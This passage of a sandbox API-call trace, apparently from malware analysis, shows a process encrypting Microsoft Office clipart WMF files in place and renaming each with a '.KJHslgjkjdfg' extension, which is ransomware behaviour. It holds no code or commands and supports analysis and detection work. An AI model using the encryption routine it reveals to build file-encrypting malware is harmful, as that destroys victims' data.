lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.kjhslgjkjdfg")) returned 1 [0172.324] CloseHandle (hObject=0x114) returned 1 [0172.324] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1 [0172.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.325] GetProcessHeap () returned 0x2a0000 [0172.325] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.325] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.325] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.325] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.325] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.325] GetProcessHeap () returned 0x2a0000 [0172.325] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.326] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.326] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.326] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.327] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.328] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.328] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.328] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.328] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.328] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.328] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.328] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.328] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1560, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1560, lpOverlapped=0x0) returned 1 [0172.329] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1560, dwBufLen=0x1560 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1560) returned 1 [0172.329] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.329] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1560, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1560, lpOverlapped=0x0) returned 1 [0172.329] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.329] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.329] SetEndOfFile (hFile=0x114) returned 1 [0172.331] GetProcessHeap () returned 0x2a0000 [0172.331] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.332] GetProcessHeap () returned 0x2a0000 [0172.332] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.kjhslgjkjdfg")) returned 1 [0172.333] CloseHandle (hObject=0x114) returned 1 [0172.333] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1 [0172.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.337] GetProcessHeap () returned 0x2a0000 [0172.337] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.337] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.337] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.337] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.339] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.339] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.339] GetProcessHeap () returned 0x2a0000 [0172.339] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.339] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.339] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.339] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.339] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.339] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.339] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.339] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.339] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.339] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.339] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.339] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.339] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1034, lpOverlapped=0x0) returned 1 [0172.340] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1040, dwBufLen=0x1040 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1040) returned 1 [0172.340] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.340] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1040, lpOverlapped=0x0) returned 1 [0172.340] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.341] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.341] SetEndOfFile (hFile=0x114) returned 1 [0172.343] GetProcessHeap () returned 0x2a0000 [0172.343] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.343] GetProcessHeap () returned 0x2a0000 [0172.343] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf.kjhslgjkjdfg")) returned 1 [0172.344] CloseHandle (hObject=0x114) returned 1 [0172.344] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1 [0172.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.345] GetProcessHeap () returned 0x2a0000 [0172.345] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.345] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.345] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.345] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.345] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.345] GetProcessHeap () returned 0x2a0000 [0172.345] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.345] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.345] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.345] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.347] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.347] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.347] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.347] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.347] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.347] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.347] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.347] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.347] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb60, lpOverlapped=0x0) returned 1 [0172.347] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb60, dwBufLen=0xb60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb60) returned 1 [0172.347] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.348] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb60, lpOverlapped=0x0) returned 1 [0172.348] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.348] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.348] SetEndOfFile (hFile=0x114) returned 1 [0172.350] GetProcessHeap () returned 0x2a0000 [0172.350] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.350] GetProcessHeap () returned 0x2a0000 [0172.350] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.kjhslgjkjdfg")) returned 1 [0172.351] CloseHandle (hObject=0x114) returned 1 [0172.351] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1 [0172.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.352] GetProcessHeap () returned 0x2a0000 [0172.352] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.352] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.352] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.352] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.354] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.354] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.354] GetProcessHeap () returned 0x2a0000 [0172.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.354] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.354] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.354] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.354] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.354] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.354] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.354] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.354] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.354] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.354] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.354] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.354] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c44, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7c44, lpOverlapped=0x0) returned 1 [0172.355] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c50) returned 1 [0172.356] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.356] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7c50, lpOverlapped=0x0) returned 1 [0172.356] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.356] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.356] SetEndOfFile (hFile=0x114) returned 1 [0172.359] GetProcessHeap () returned 0x2a0000 [0172.359] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.359] GetProcessHeap () returned 0x2a0000 [0172.359] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.kjhslgjkjdfg")) returned 1 [0172.360] CloseHandle (hObject=0x114) returned 1 [0172.360] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1 [0172.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.361] GetProcessHeap () returned 0x2a0000 [0172.361] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.361] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.361] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.364] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.364] 